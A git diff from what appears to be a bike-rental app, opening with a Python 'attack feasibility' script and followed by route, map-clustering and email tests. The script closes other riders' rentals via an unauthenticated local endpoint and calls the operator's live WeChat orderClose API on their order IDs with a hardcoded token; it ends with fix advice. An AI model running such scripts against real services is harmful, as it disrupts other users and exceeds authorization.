"1"}) + data = result.get("data", {}) + stations = data.get("bicycleStation", []) + if not stations: + print(" [!] 无车辆数据(type=1),尝试 type=6...") + result = wechat_request("GET", "/project/map", params={"type": "6"}) + data = result.get("data", {}) + stations = data.get("bicycleStation", []) + if not stations: + print(" [错误] 所有 type 均未获取到车辆数据") + return [] + + print(f" 共获取到 {len(stations)} 辆车") + print() + + inuse_bikes = [] + for bike in stations: + state = bike.get("state", 0) + status = bike.get("status", 0) + code = bike.get("code", "???") + lat = bike.get("latitude", "?") + lng = bike.get("longitude", "?") + label = bike_status_label(state, status) + + marker = "🟢" if state == 1 and status == 1 else "⚪" + print(f" {marker} [{label:8s}] code={code} ({lat}, {lng})") + + if state == 1 and status == 1: + inuse_bikes.append(bike) + + print(f"\n >>> 使用中的车辆共 {len(inuse_bikes)} 辆") + return inuse_bikes + + +# ============================================================ +# 步骤 B:在本地 DB 中按 bike_code 查找租车记录 +# ============================================================ + +def step_b_query_local_rentals(inuse_bikes): + print_title("步骤 B:在本地 DB (rentals 表) 中按 bike_code 查找活跃租车记录") + + conn = get_local_db() + if not conn: + return [] + + matched = [] + cursor = conn.cursor() + + for bike in inuse_bikes: + code = bike.get("code", "") + cursor.execute( + "SELECT id, order_id, bike_code, email, user_id, start_time, " + "end_time, expired, source FROM rentals " + "WHERE bike_code = ? AND expired = 0", + (code,) + ) + row = cursor.fetchone() + if row: + matched.append((bike, dict(row))) + print(f" [匹配] code={code} ->" + f" rental_id={row['id']}" + f" order_id={row['order_id']}" + f" email={row['email']}" + f" source={row['source']}" + f" end_time={row['end_time']}") + else: + print(f" [无记录] code={code} -> 不是通过本系统租的") + + conn.close() + + if not matched: + print("\n >>> 没有找到任何在本地 DB 中有记录的使用中车辆") + else: + print(f"\n >>> 共 {len(matched)} 辆车在本地有租车记录") + + return matched + + +# ============================================================ +# 步骤 C:尝试用本地 Flask API 关车(无身份验证) +# ============================================================ + +def step_c_attack_local(matched, flask_ok): + print_title("步骤 C:通过本地 API (POST /api/rental/return) 无身份验证关车") + + if not flask_ok: + print(" [!] Flask 未在本地运行,跳过此步骤") + print(" [i] 如想测试此路径,请先启动 Flask 服务") + return 0 + + if not matched: + print(" [!] 无本地租车记录,跳过") + return 0 + + success = 0 + for bike, rental in matched: + rental_id = rental["id"] + code = bike.get("code", "") + + print(f"\n 目标: code={code}, rental_id={rental_id}") + + result = test_flask_rental_return(rental_id) + print(f" 返回: {json.dumps(result, ensure_ascii=False)}") + + if result.get("rtn_code") == 0: + success += 1 + print(f" >>> 攻击成功!DB expired 已设为 1") + print(f" (仅本地计时取消,物理车锁不受影响)") + + return success + + +# ============================================================ +# 步骤 D:用微信 API 尝试关车 +# ============================================================ + +def step_d_attack_wechat(matched): + print_title("步骤 D:用硬编码微信凭据尝试关车") + print(f" 凭据: token_id={TOKEN_ID}") + print() + + # D1: 查看这个账号自己的订单 + print(" [D1] 查 /user/info 看本账号状态...") + info = wechat_request("GET", "/user/info") + if info.get("rtn_code") != 0: + print(f" [错误] user/info 失败: {info.get('message', info)}") + print(" [!] 该凭据可能已失效或被服务器拒绝") + return 0 + + data = info.get("data", {}) + non_deal_order = data.get("nonDealOrder") + if non_deal_order and non_deal_order.get("order_id"): + order_id = non_deal_order.get("order_id") + code = non_deal_order.get("code", "???") + print(f" [i] 本账号有活跃订单: order_id={order_id}, code={code}") + print(f" [i] (这是你自己的,关自己的车合法,跳过)") + else: + print(f" [i] 本账号无活跃订单") + + # D2: 尝试关别人的车(从 matched 中取 order_id) + success = 0 + if matched: + print() + print(" [D2] 尝试用本账号凭据关别人的订单...") + + for bike, rental in matched: + code = bike.get("code", "") + order_id = rental.get("order_id") + lat = bike.get("latitude", 36.67) + lng = bike.get("longitude", 116.98) + + if not order_id: + print(f" [i] code={code}: 本地 rental 无 order_id (source={rental['source']}),跳过") + continue + + print(f"\n 目标: code={code}, order_id={order_id}") + print(f" 调用 POST /record/orderClose ...") + + # 先调 orderClose (小程序主流程) + result = wechat_request("POST", "/record/orderClose", data={ + "order_id": order_id, + "longitude": str(lng), + "latitude": str(lat), + }) + print(f" 返回: {json.dumps(result, ensure_ascii=False)}") + + if result.get("rtn_code") == 0: + success += 1 + print(f" >>> 成功!但这是否关的是别人的车需验证") + + # 再试 /record/return (备用) + print(f" 调用 POST /record/return ...") + result2 = wechat_request("POST", "/record/return", data={ + "order_id": order_id, + "longitude": str(lng), + "latitude": str(lat), + }) + print(f" 返回: {json.dumps(result2, ensure_ascii=False)}") + else: + print() + print(" [D2] 无他人的 order_id 可用,无法测试") + print(" [i] 微信 API 没有「根据 bike_code 查 order」的接口") + print(" [i] /user/info 只返回自己的 nonDealOrder") + + # D3: 即使不知道别人的 order_id,尝试枚举别人的活跃租车 + if matched: + print() + print(" [D3] 结论验证:") + for bike, rental in matched: + order_id = rental.get("order_id") + if not order_id: + continue + print(f" - 已尝试关闭 order_id={order_id} (code={bike.get('code')})") + else: + print() + print(" [D3] 总结:没有拿到他人的 order_id,微信API攻击无法进行") + + return success + + +# ============================================================ +# 步骤 E:分析报告 +# ============================================================ + +def step_e_report(inuse_count, matched_count, + local_ok, local_success, + wechat_success): + print() + print("=" * 65) + print(" 📋 最终分析报告") + print("=" * 65) + print() + print(f" 地图上使用中的车辆: {inuse_count} 辆") + print(f" 本地 DB 有租车记录: {matched_count} 辆") + print(f" 本地 API 攻击成功: {local_success} 次" + f" {'(Flask 未运行)' if not local_ok else ''}") + print(f" 微信 API 攻击成功: {wechat_success} 次") + print() + + print(" ┌──────────────────────────┬─────────────────────────────────┐") + print(" │ 攻击路径 │ 结论 │") + print(" ├──────────────────────────┼─────────────────────────────────┤") + print(" │ ① 本地 /api/rental/return │ ⚠️ 存在漏洞,但仅影响本地计时 │") + print(" │ (无身份验证) │ 不锁物理车锁 │") + print(" ├──────────────────────────┼─────────────────────────────────┤") + print(" │ ② WeChat /record/ │ ❌ 无法通过 bike_code 查到 │") + print(" │ orderClose │ 他人的 order_id │") + print(" │ (用他人凭据) │ 即使知道 order_id 也需 │") + print(" │ │ 服务端校验订单归属 │") + print(" └──────────────────────────┴─────────────────────────────────┘") + print() + print(" 🔴 攻击可行性总结") + print() + print(" 1) 本地 API 攻击(real but limited):") + print(" - POST /api/rental/return 无任何身份验证") + print(" - 知道 rental_id 即可标记 expired=1,取消邮件提醒") + print(" - rental_id 是自增 ID,可枚举(1, 2, 3, ...)") + print(" - 但仅影响本系统的计时记录,不调用微信锁车 API") + print(" - 受害者若无实际开锁(仅用计时模式),影响较大") + print() + print(" 2) 微信 API 直接攻击(not feasible):") + print(" - 微信 API 没有「bike_code → order_id」的接口") + print(" - /user/info 只返回自己的 nonDealOrder") + print(" - 即使通过本地 DB 拿到别人 order_id") + print(" - 服务端会校验订单是否属于调用者的账号") + print(" - 物理车锁无法被第三方关闭") + print() + print(" 🛡️ 修复建议(针对漏洞①)") + print() + print(" 1. POST /api/rental/return 应调用 get_current_user()") + print(" 2. 验证 rental_id 的 email 字段等于当前用户") + print(" 3. 前端 confirmReturn() 应传入 Authorization 头") + print(" 4. 不要对外暴露 SQLite 数据库文件") + print() + + +# ============================================================ +# 主流程 +# ============================================================ + +def main(): + print("=" * 65) + print(" 关闭他人正在使用的车辆 — 攻击可行性测试") + print("=" * 65) + print(f" WeChat API: {WECHAT_BASE}") + print(f" 凭据: token_id={TOKEN_ID}") + print(f" 数据库: {DB_PATH}") + print() + + flask_ok = is_flask_alive() + print(f" 本地 Flask: {'🟢 运行中' if flask_ok else '🔴 未运行(将跳过本地 API 测试)'}") + print() + + # 步骤 A:获取地图车辆 + inuse_bikes = step_a_find_inuse_bikes() + + # 步骤 B:查本地 DB + matched = step_b_query_local_rentals(inuse_bikes) + + # 步骤 C:本地 API 攻击 + local_success = step_c_attack_local(matched, flask_ok) + + # 步骤 D:微信 API 攻击 + wechat_success = step_d_attack_wechat(matched) + + # 步骤 E:报告 + step_e_report( + inuse_count=len(inuse_bikes), + matched_count=len(matched), + local_ok=flask_ok, + local_success=local_success, + wechat_success=wechat_success, + ) + + +if __name__ == "__main__": + main() diff --git a/test_route_integration.py b/test_route_integration.py new file mode 100644 index 0000000..6d931c1 --- /dev/null +++ b/test_route_integration.py @@ -0,0 +1,240 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""集成测试:模拟完整请求流程,Mock外部微信API,仅验证本地路由""" +import os, sys, json, unittest +from unittest.mock import patch, MagicMock +from pathlib import Path +os.chdir(Path(__file__).parent) +sys.path.insert(0, str(Path(__file__).parent)) + +import sqlite3, tempfile +_TMP_DB_PATH = Path(tempfile.mktemp(suffix='.db')) + +class TestRoutes(unittest.TestCase): + @classmethod + def setUpClass(cls): + import db as db_module + cls._original_get_db = db_module.get_db + cls._original_db_path = db_module.DB_PATH + db_module.DB_PATH = _TMP_DB_PATH + def _test_db(): + conn = sqlite3.connect(str(db_module.DB_PATH)) + conn.row_factory = sqlite3.Row + return conn + db_module.get_db = _test_db + from db import init_db + init_db() + + # Mock 外部依赖 + cls._patchers = [] + for target, ret in [ + ('wechat.request_api', {"rtn_code": 0, "data": {"bicycleStation": []}}), + ('wechat.request_with_user_auth', {"rtn_code": 0, "data": {"order_id": 99999999, "account": {}, "nonDealOrder": None, "minutes": 0, "code": "TEST"}}), + ]: + p = patch(target) + m = p.start() + m.return_value = ret + cls._patchers.append(p) + + for target in ['requests.get', 'requests.post']: + p = patch(target) + m = p.start() + mr = MagicMock() + mr.json.return_value = {"rtn_code": 0, "data": {}} + mr.status_code = 200 + mr.text = '{}' + mr.content = b'{}' + m.return_value = mr + cls._patchers.append(p) + + from app import app + app.config['TESTING'] = True + app.config['SECRET_KEY'] = 'test' + cls.app = app + cls.client = app.test_client() + cls.token = None + + @classmethod + def tearDownClass(cls): + for p in cls._patchers: + p.stop() + import db as db_module + db_module.get_db = cls._original_get_db + db_module.DB_PATH = cls._original_db_path + if _TMP_DB_PATH.exists(): + _TMP_DB_PATH.unlink() + + def _h(self): + return {"Authorization": f"Bearer {self.token}"} if self.token else {} + + def test_01_register(self): + r = self.client.post("/api/auth/register", json={"email": "test@t.com", "password": "test123"}) + d = r.get_json() + print(f" /api/auth/register: {r.status_code} rtn={d.get('rtn_code')}") + if d.get("rtn_code") == 0: + self.__class__.token = d.get("data", {}).get("token") + + def test_02_login(self): + r = self.client.post("/api/auth/login", json={"email": "test@t.com", "password": "test123"}) + d = r.get_json() + print(f" /api/auth/login: {r.status_code} rtn={d.get('rtn_code')}") + self.assertEqual(d.get("rtn_code"), 0) + self.__class__.token = d.get("data", {}).get("token") + + def test_03_profile(self): + r = self.client.get("/api/auth/profile", headers=self._h()) + print(f" /api/auth/profile: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_04_user_info(self): + r = self.client.get("/api/auth/user_info", headers=self._h()) + print(f" /api/auth/user_info: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_05_packages(self): + r = self.client.get("/api/auth/packages", headers=self._h()) + print(f" /api/auth/packages: {r.status_code}") + self.assertNotEqual(r.status_code, 500) + + def test_06_config(self): + r = self.client.get("/api/config") + print(f" /api/config: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_07_map(self): + r = self.client.get("/api/map?type=3") + print(f" /api/map: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_08_order_unlock_no_params(self): + r = self.client.post("/api/order/unlock", json={}, headers=self._h()) + d = r.get_json() + print(f" /api/order/unlock(no params): {r.status_code} rtn={d.get('rtn_code')}") + if 'code' not in str(r.data) or 'latitude' not in str(r.data): + self.assertIn(d.get("rtn_code"), (400, 401)) + + def test_09_order_return_no_params(self): + r = self.client.post("/api/order/return", json={}, headers=self._h()) + d = r.get_json() + print(f" /api/order/return(no params): {r.status_code} rtn={d.get('rtn_code')}") + self.assertIn(d.get("rtn_code"), (400, 401)) + + def test_10_rental_start_no_params(self): + r = self.client.post("/api/rental/start", json={}, headers=self._h()) + d = r.get_json() + print(f" /api/rental/start(no params): {r.status_code} rtn={d.get('rtn_code')}") + self.assertIn(d.get("rtn_code"), (400, 401)) + + def test_11_rental_status(self): + r = self.client.get("/api/rental/status", headers=self._h()) + d = r.get_json() + print(f" /api/rental/status: {r.status_code} rtn={d.get('rtn_code')}") + if self.token: + self.assertEqual(d.get("rtn_code"), 0) + + def test_12_rental_return_no_params(self): + r = self.client.post("/api/rental/return", json={}) + d = r.get_json() + print(f" /api/rental/return(no params): {r.status_code} rtn={d.get('rtn_code')}") + self.assertEqual(d.get("rtn_code"), 400) + + def test_13_rental_sync(self): + r = self.client.post("/api/rental/sync", headers=self._h()) + d = r.get_json() + print(f" /api/rental/sync: {r.status_code} rtn={d.get('rtn_code')}") + if self.token: + self.assertEqual(d.get("rtn_code"), 0) + + def test_14_admin_login_page(self): + r = self.client.get("/admin/login") + print(f" /admin/login: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_15_admin_login(self): + r = self.client.post("/admin/login", json={"username": "admin", "password": "admin123"}) + d = r.get_json() + print(f" /admin/login POST: {r.status_code} rtn={d.get('rtn_code')}") + self.assertEqual(d.get("rtn_code"), 0) + + def test_16_admin_page(self): + self.client.post("/admin/login", data={"username": "admin", "password": "admin123"}) + r = self.client.get("/admin") + print(f" /admin: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_17_admin_users(self): + self.client.post("/admin/login", data={"username": "admin", "password": "admin123"}) + r = self.client.get("/api/admin/users") + d = r.get_json() + print(f" /api/admin/users: {r.status_code} rtn={d.get('rtn_code')}") + self.assertEqual(d.get("rtn_code"), 0) + + def test_18_admin_rentals(self): + self.client.post("/admin/login", data={"username": "admin", "password": "admin123"}) + r = self.client.get("/api/admin/rentals") + d = r.get_json() + print(f" /api/admin/rentals: {r.status_code} rtn={d.get('rtn_code')}") + self.assertEqual(d.get("rtn_code"), 0) + + def test_19_rental_start_with_code(self): + r = self.client.post("/api/rental/start", json={"bike_code": "T001"}, headers=self._h()) + d = r.get_json() + print(f" /api/rental/start(T001): {r.status_code} rtn={d.get('rtn_code')}") + if self.token: + self.assertIn(d.get("rtn_code"), (0, 400)) + + def test_20_rental_return_with_id(self): + # Get rental id first + r = self.client.get("/api/rental/status", headers=self._h()) + d = r.get_json() + rid = d.get("data", {}).get("rental_id", 0) + r = self.client.post("/api/rental/return", json={"rental_id": rid or 1}) + d2 = r.get_json() + print(f" /api/rental/return(rid={rid}): {r.status_code} rtn={d2.get('rtn_code')}") + self.assertEqual(d2.get("rtn_code"), 0) + + def test_21_order_unlock_with_params(self): + r = self.client.post("/api/order/unlock", json={"code": "T001", "latitude": 36.67, "longitude": 116.98}, headers=self._h()) + d = r.get_json() + print(f" /api/order/unlock(full): {r.status_code} rtn={d.get('rtn_code')}") + self.assertNotEqual(r.status_code, 500) + + def test_22_order_return_with_params(self): + r = self.client.post("/api/order/return", json={"order_id": 999, "latitude": 36.67, "longitude": 116.98, "code": "T001"}, headers=self._h()) + d = r.get_json() + print(f" /api/order/return(full): {r.status_code} rtn={d.get('rtn_code')}") + self.assertNotEqual(r.status_code, 500) + + def test_23_index(self): + r = self.client.get("/") + print(f" /: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_24_auth_status(self): + r = self.client.get("/api/auth/status", headers=self._h()) + print(f" /api/auth/status: {r.status_code}") + self.assertEqual(r.status_code, 200) + + def test_25_logout(self): + r = self.client.post("/api/auth/logout", headers=self._h()) + print(f" /api/auth/logout: {r.status_code}") + self.assertEqual(r.status_code, 200) + +if __name__ == "__main__": + suite = unittest.TestLoader().loadTestsFromTestCase(TestRoutes) + runner = unittest.TextTestRunner(verbosity=0) + result = runner.run(suite) + total = result.testsRun + fails = len(result.failures) + errors = len(result.errors) + passed = total - fails - errors + print(f"\n{'='*50}") + print(f" 总计: {total} 通过: {passed} 失败: {fails} 错误: {errors}") + if fails: + for t, trace in result.failures: + print(f" X {t}") + if errors: + for t, trace in result.errors: + print(f" X {t}") + print(f"{'='*50}") + sys.exit(0 if errors == 0 and fails == 0 else 1) diff --git a/tests/test_bike_clusters.cjs b/tests/test_bike_clusters.cjs new file mode 100644 index 0000000..005de26 --- /dev/null +++ b/tests/test_bike_clusters.cjs @@ -0,0 +1,185 @@ +const { test } = require('node:test'); +const assert = require('node:assert/strict'); +const { normalizeBikes, clusterBikes, createLayer, + PREFERENCE_KEY, readClusteringPreference, writeClusteringPreference } = require('../static/js/bike-clusters.js'); + +const getPoint = bike => ({ lat: bike.latitude, lng: bike.longitude }); +const getState = bike => bike.state === 1 && bike.status === 0 ? 'available' : 'inuse'; +const project = p => ({ x: p.lng * 10000, y: p.lat * 10000 }); +const bike = (code, lat = '36.532', lng = '116.78') => ({ code, latitude: lat, longitude: lng, state: '1', status: '0' }); +const cluster = (bikes, projection = project, selectedId = null) => clusterBikes(bikes, projection, getPoint, getState, 64, selectedId); + +test('561 string coordinate pairs produce finite campus centroids, never concatenated strings', () => { + const bikes = Array.from({ length: 561 }, (_, i) => bike(i + 10000, String(36.532 + (i % 30) * .0001), String(116.78 + Math.floor(i / 30) * .0001))); + const nodes = cluster(bikes); + assert.equal(nodes.reduce((sum, node) => sum + node.count, 0), 561); + nodes.forEach(node => { + assert.ok(Number.isFinite(node.point.lat) && Number.isFinite(node.point.lng)); + assert.ok(node.point.lat > 36.53 && node.point.lat < 36.54); + assert.ok(node.point.lng > 116.77 && node.point.lng < 116.79); + assert.equal(node.available, node.count); + }); +}); + +test('reject missing, junk, non-finite, out-of-range and placeholder coordinates', () => { + const invalid = [null, undefined, '', ' ', '36.5junk', 'NaN', NaN, Infinity, 'Infinity', true, [], {}]; + assert.equal(normalizeBikes(invalid.map((latitude, i) => ({ ...bike(i), latitude }))).length, 0); + assert.equal(normalizeBikes([bike(1, 91), bike(2, 36, 181), bike(3, 0, 0)]).length, 0); + assert.equal(normalizeBikes([bike(1, 0, 116), bike(2, 36, 0)]).length, 2); +}); + +test('zoom changes distance membership; high zoom reveals separated cars', () => { + const bikes = [bike(1), bike(2, 36.533, 116.781)]; + assert.equal(cluster(bikes).length, 1); + assert.equal(cluster(bikes, p => ({ x: p.lng * 100000, y: p.lat * 100000 })).length, 2); +}); + +test('levels 19, 20 and 21 always show every bike, even at identical GPS coordinates', () => { + const bikes = Array.from({ length: 561 }, (_, i) => bike(i + 10000)); + for (const zoom of [19, 20, 21]) { + const nodes = clusterBikes(bikes, project, getPoint, getState, 64, null, zoom); + assert.equal(nodes.length, bikes.length); + assert.ok(nodes.every(node => node.count === 1 && node.key.startsWith('bike:'))); + assert.equal(new Set(nodes.flatMap(node => node.ids)).size, bikes.length); + } +}); + +test('zooming below 19 restores bubbles; a refresh at 19 keeps the full single-bike snapshot', () => { + const bikes = [bike(1), bike(2), bike(3)]; + const atZoom = (zoom, snapshot = bikes) => clusterBikes(snapshot, project, getPoint, getState, 64, null, zoom); + assert.equal(atZoom(18).length, 1); + assert.equal(atZoom(19).length, 3); + assert.equal(atZoom(20).length, 3); + assert.equal(atZoom(21).length, 3); + assert.equal(atZoom(19, bikes.slice(1)).length, 2); + assert.equal(atZoom(18).length, 1); + assert.deepEqual(atZoom(19, []), []); +}); + +test('panning across grid boundaries and response reordering preserve membership', () => { + const bikes = Array.from({ length: 100 }, (_, i) => bike(i + 1, 36.532 + (i % 10) * .003, 116.78 + Math.floor(i / 10) * .003)); + const membership = nodes => nodes.map(node => node.ids.join(',')).sort(); + assert.deepEqual(membership(cluster(bikes)), membership(cluster([...bikes].reverse(), p => ({ x: project(p).x + 67, y: project(p).y - 55 })))); +}); + +test('neighbours across a bucket edge join; distant chain endpoints stay separate', () => { + const near = [bike(1, 1, .0063), bike(2, 1, .0065)]; + assert.equal(cluster(near).length, 1); + const chain = Array.from({ length: 20 }, (_, i) => bike(i + 100, 1, 1 + i * .005)); + assert.ok(cluster(chain).length > 1); +}); + +test('selected car stays individually reachable inside a dense group', () => { + const nodes = cluster([bike(1), bike(2), bike(3)], project, '2'); + assert.equal(nodes.length, 2); + assert.equal(nodes.find(node => node.ids.includes('2')).count, 1); + assert.equal(nodes.reduce((sum, node) => sum + node.count, 0), 3); +}); + +test('empty and invalid snapshots stay empty; centroid is the numeric mean', () => { + assert.deepEqual(cluster([]), []); + assert.deepEqual(cluster([bike(1, 'junk')]), []); + const [node] = cluster([bike(1, '36.5320', '116.7800'), bike(2, '36.5340', '116.7820')]); + assert.ok(Math.abs(node.point.lat - 36.533) < 1e-10); + assert.ok(Math.abs(node.point.lng - 116.781) < 1e-10); +}); + +test('disabling clustering shows individual bikes at every zoom and survives a saved preference', () => { + const values = new Map(); + const storage = { getItem: key => values.get(key) ?? null, setItem: (key, value) => values.set(key, value) }; + assert.equal(readClusteringPreference(storage), true); + assert.equal(writeClusteringPreference(storage, false), true); + assert.equal(values.get(PREFERENCE_KEY), 'false'); + const enabled = readClusteringPreference(storage); + for (const zoom of [3, 17, 19, 20, 21]) { + const nodes = clusterBikes([bike(1), bike(2)], project, getPoint, getState, 64, null, zoom, enabled); + assert.equal(nodes.length, 2); + assert.ok(nodes.every(node => node.count === 1)); + } + writeClusteringPreference(storage, true); + assert.equal(clusterBikes([bike(1), bike(2)], project, getPoint, getState, 64, null, 17, readClusteringPreference(storage)).length, 1); +}); + +test('unavailable preference storage uses the default and reports failed persistence', () => { + const storage = { getItem() { throw new Error('blocked'); }, setItem() { throw new Error('blocked'); } }; + assert.equal(readClusteringPreference(storage), true); + assert.equal(writeClusteringPreference(storage, false), false); +}); + +test('native overlay keeps real positions through zoom-in/out, refresh and live preference changes', t => { + class Element { + constructor(tag) { + this.tag = tag; this.children = []; this.events = {}; + this.style = { setProperty(key, value) { this[key] = value; } }; + this.classList = { toggle() {} }; + } + appendChild(child) { child.parent = this; this.children.push(child); return child; } + append(...children) { children.forEach(child => this.appendChild(child)); } + replaceChildren(...children) { this.children = []; this.append(...children); } + setAttribute(key, value) { this[key] = value; } + getAttribute(key) { return this[key] ?? null; } + addEventListener(key, fn) { this.events[key] = fn; } + querySelector(tag) { return this.children.find(child => child.tag === tag) || null; } + remove() { if (this.parent) this.parent.children = this.parent.children.filter(child => child !== this); } + } + const pane = new Element('div'), listeners = new Map(), pending = new Map(); + let zoom = 18, clock = 0, serial = 0, markers = []; + const sdk = { Overlay: class {}, Point: class { constructor(lng, lat) { this.lng = lng; this.lat = lat; } } }; + const map = { + getZoom: () => zoom, getPanes: () => ({ labelPane: pane }), + pointToPixel() { throw new Error('screen coordinates must never drive the native overlay'); }, + pointToOverlayPixel: p => ({ x: p.lng * 10000, y: p.lat * 10000 }), + addOverlay(overlay) { this.overlay = overlay; overlay.initialize(); overlay.draw(); }, + removeOverlay(overlay) { assert.equal(overlay, this.overlay); }, + addEventListener: (name, fn) => listeners.set(name, fn), + removeEventListener: name => listeners.delete(name) + }; + t.mock.method(performance, 'now', () => clock); + function stubGlobal(key, value) { + const original = Object.getOwnPropertyDescriptor(globalThis, key); + Object.defineProperty(globalThis, key, { value, configurable: true, writable: true }); + t.after(() => { if (original) Object.defineProperty(globalThis, key, original); else delete globalThis[key]; }); + } + stubGlobal('document', { createElement: tag => new Element(tag) }); + stubGlobal('window', { matchMedia: () => ({ matches: false, addEventListener() {}, removeEventListener() {} }) }); + stubGlobal('BMapGL', sdk); + stubGlobal('requestAnimationFrame', fn => { pending.set(++serial, fn); return serial; }); + stubGlobal('cancelAnimationFrame', id => pending.delete(id)); + function settle() { + for (let i = 0; pending.size && i < 30; i++) { + clock += 20; + const callbacks = Array.from(pending.values()); pending.clear(); + callbacks.forEach(fn => fn(clock)); + } + assert.equal(pending.size, 0); + } + const data = [bike(1), bike(2), bike(3)]; + const layer = createLayer({ map, getPoint, getState, + getIcon: () => ({ __xbniuAppearance: { url: 'data:image/png;base64,', size: 36 } }), + onBikeClick() {}, onMarkersChanged: value => { markers = value; } }); + layer.setData(data); settle(); + const original = pane.children[0].children[0].style.transform; + assert.equal(markers.length, 0); + for (const level of [19, 20, 21, 20, 19, 18, 19, 18]) { + zoom = level; listeners.get('zoomend')(); settle(); map.overlay.draw(); + if (level >= 19) { + assert.equal(markers.length, 3); + markers.forEach(marker => assert.deepEqual(marker.position, { lat: 36.532, lng: 116.78 })); + } else { + assert.equal(markers.length, 0); + assert.equal(pane.children[0].children.length, 1); + assert.equal(pane.children[0].children[0].style.transform, original); + } + } + layer.setClusteringEnabled(false); settle(); + assert.equal(markers.length, 3); + layer.setData(data.slice(1)); settle(); + assert.equal(markers.length, 2); + layer.setClusteringEnabled(true); settle(); + assert.equal(markers.length, 0); + layer.setData([]); settle(); + assert.equal(pane.children[0].children.length, 0); + layer.destroy(); + assert.equal(listeners.size, 0); + assert.equal(pane.children.length, 0); +}); diff --git a/tests/test_code_mail.py b/tests/test_code_mail.py new file mode 100644 index 0000000..1b1691a --- /dev/null +++ b/tests/test_code_mail.py @@ -0,0 +1,103 @@ +#!/usr/bin/env python3 +# -*- coding: utf-8 -*- +"""验证码邮件的 HTML 版本回归测试。 + +背景:注册/重置验证码邮件此前调用 send_email(..., html_body=None),只发纯文本。 +现在改为走统一 HTML 模板(email_utils.render_email_html)。本用例固化: + 1) 必须携带 HTML 版本(html_body 非空且含 ) + 2) HTML 里能看到验证码本身与有效期(用户能直接读出) + 3) 仍然保留纯文本版本(无 HTML 能力的客户端可用) + 4) 注册 / 重置两种用途的主题与视觉色不同 + 5) 渲染失败必须安全退回纯文本,不能因样式问题导致验证码发不出去 +""" +import re +import unittest +from unittest.mock import patch + +import email_verify +from email_utils import render_email_html, render_email_safe + + +class _CodeMailCapture(unittest.TestCase): + def setUp(self): + email_verify._codes.clear() + self.sent = [] + + def tearDown(self): + email_verify._codes.clear() + + def _send(self, purpose): + def capture(to_email, subject, plain, html_body): + self.sent.append({"to": to_email, "subject": subject, + "plain": plain, "html": html_body}) + return True + with patch.object(email_verify, "send_email", side_effect=capture): + ok, message = email_verify.send_code("rider@example.test", purpose=purpose) + self.assertTrue(ok, message) + return self.sent[-1] + + def _code_in(self, payload, text): + """从正文里取出 6 位验证码。""" + m = re.search(r"\b(\d{6})\b", text) + self.assertIsNotNone(m, f"未在正文中找到验证码: {text[:120]}") + return m.group(1) + + +class CodeMailTests(_CodeMailCapture): + def test_register_code_mail_includes_html_version(self): + mail = self._send("register") + # 核心回归:以前这里是 None + self.assertIsNotNone(mail["html"]) + self.assertTrue(mail["html"].strip().startswith("")) + self.assertIn("style=", mail["html"]) + + def test_html_contains_the_actual_code_and_ttl(self): + mail = self._send("register") + code = self._code_in(mail, mail["plain"]) + # HTML 里必须能读到验证码本身(用户是照 HTML 抄的) + self.assertIn(code, mail["html"]) + self.assertIn(str(email_verify.CODE_TTL_SECONDS // 60), mail["html"]) + + def test_plain_text_version_is_still_present(self): + mail = self._send("register") + self.assertTrue(mail["plain"].strip()) + self.assertIn("验证码", mail["plain"]) + + def test_reset_uses_distinct_subject_and_accent(self): + reg = self._send("register") + email_verify._codes.clear() # 绕开 60 秒冷却 + rst = self._send("reset") + + self.assertNotEqual(reg["subject"], rst["subject"]) + self.assertIn("注册", reg["subject"]) + self.assertIn("重置", rst["subject"]) + # 两种用途用不同主色(注册蓝 / 重置红),便于一眼区分 + self.assertIn("#2563eb", reg["html"]) + self.assertIn("#dc2626", rst["html"]) + # 重置邮件的 HTML 里不应残留注册用途的文案 + self.assertNotIn("账号注册", rst["html"]) + self.assertIn("重置登录密码", rst["html"]) + + def test_html_escapes_user_supplied_values(self): + """注入式邮箱不应把 HTML 带进邮件正文。""" + html = render_email_html( + kicker="", title="t", lead="l", + details=[("x", "")]) + self.assertNotIn("